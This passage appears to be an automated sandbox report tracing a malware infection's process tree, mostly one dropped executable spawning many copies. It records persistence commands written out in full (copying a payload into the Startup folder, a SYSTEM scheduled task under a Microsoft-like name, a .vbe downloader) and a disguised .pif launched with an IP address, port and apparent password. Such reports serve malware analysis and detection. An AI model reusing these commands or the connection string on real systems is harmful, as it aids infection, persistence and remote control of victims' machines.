        Suspicious use of AdjustPrivilegeToken
        
        PID:4976
    - - C:\Users\Admin\AppData\Local\Temp\10168150101\6z1l5Yn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168150101\6z1l5Yn.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1440
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 10 > nul && copy "C:\Users\Admin\AppData\Local\Temp\10168150101\6z1l5Yn.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSD.exe" && ping 127.0.0.1 -n 10 > nul && "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSD.exe"
        6⤵
        Drops startup file
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:5044
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 10
        7⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1536
    - - C:\Users\Admin\AppData\Local\Temp\10168160101\0uzaP1a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168160101\0uzaP1a.exe"
        5⤵
        Executes dropped EXE
        
        PID:3016
      - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\pack82.vbe"
        6⤵
        Blocklisted process makes network request
        Downloads MZ/PE file
        
        PID:2888
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /ru system /tn Microsoft\Windows\Shell\WindowsObjectChecking /sc onstart /tr "C:\Users\Admin\AppData\Roaming\1FAB8AABDC2CD990F4F534ED1AD50E43\9DB78E0094BB59371A648FECAFB93217.vbe" /f /rl highest
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3652
        
        C:\Windows\System32\taskkill.exe
        
        "C:\Windows\System32\taskkill.exe" /f /pid 2964 /t
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4832
        
        C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif
        
        "C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif" 95.168.166.227:8082:admin:12r3sa6qf9
        7⤵
        
        PID:6496
    - - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5104
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:3132
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:3712
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:1592
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:2916
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:404
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:3268
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:3736
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:1096
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:3504
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:5076
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:2940
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:3852
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:896
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:4604
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:3040
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:5060
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:3252
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:2480
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:1484
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:4508
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:3860
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:4984
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:420
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:1284
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:2020
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        
        PID:4448
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3048
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4584
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3372
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3292
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2344
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:560
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4896
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1112
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4064
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1296
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1100
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:480
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:260
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4528
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2284
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1560
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1920
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4760
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4876
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4944
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4664
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3596
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1232
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:740
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:5100
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1184
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:5024
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4268
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4232
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3080
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2536
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1360
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4648
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3716
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4360
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3868
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2024
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1572
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1340
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2288
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:924
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1128
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3084
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2556
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4600
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2052
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4668
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2248
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2992
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2260
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:540
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:784
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:5092
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1256
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4956
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2472
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1724
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3240
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2876
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4748
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2684
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:568
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:872
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3104
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:5036
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:240
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2296
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3952
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:936
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3548
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4928
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:912
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:236
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1952
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2884
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3608
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1716
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3216
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2188
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4324
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2596
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4628
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:5116
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:484
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:812
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3448
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1696
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2256
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3540
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:684
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3344
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4868
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3088
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1236
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2764
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4744
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1904
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:968
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3360
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3636
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1680
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1600
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3436
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3272
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:332
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2976
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1480
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1832
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:2032
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:1252
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:3524
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:764
      - C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10168170101\P2SXMuh.exe"
        6⤵
        
        PID:4372
